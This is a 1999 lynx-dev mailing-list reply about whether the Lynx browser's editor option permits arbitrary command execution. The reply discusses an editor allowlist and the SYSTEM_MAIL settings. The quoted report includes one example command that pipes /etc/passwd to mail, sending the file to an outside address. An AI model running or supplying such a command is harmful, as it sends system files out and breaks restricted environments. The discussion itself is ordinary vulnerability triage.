Re: lynx-dev Running Shell Commands off of Lynx

[brian j. pardy]

[sent only to lynx-dev]

On Sat, Jan 16, 1999, Andrew Chen wrote:
> Before I get to anything, I'm not subscribed on the Lynx development list,
> so any messages from that group will need to be forwarded to me.
> 
> The problem is that in Lynx (running 2.8r2 and this should also effect the
> 2.7 line), you can specify whatever editor you want in the options menu
> (press 'o' and then 'e') and thus you can put in whatever commands you
> want. For example, just assign the editor to:
> 
> "cat /etc/passwd | mail address@hidden"
> 
> and then type in a "mailto:address@hidden"; Eventually near the end, when it
> asks if you want to edit the message, you can get the command executed.

Might this be a feature, instead?

I'm not using anything like it right now, but I bet there is at
least one person out there who is using an EDITOR variable of
something along the lines of "cat %s | dosomethingtoit | vi -", 
and expects it to work in all programs, not simply lynx.

If no one agrees on this (and I admit it's a huge stretch :) then
perhaps a way to specify what editors a user is allowed to use, in
lynx.cfg.  I don't really like that idea as it takes power away from
the user, as well as basically forcing a disabling of the -cfg
commandline switch for users as well.

The variables are intended to run arbitrary commands provided the
user, I'm not quite sure it's lynx's job to check them.

FWIW, if someone changes SYSTEM_MAIL and SYSTEM_MAIL_FLAGS in lynx.cfg
(or their own personal copy, but this isn't really relevant for sites 
using lynx as a restricted environment) the same thing can be done.

-- 
And malt does more than Milton can to justify God's ways to man.
                -- A.E. Housman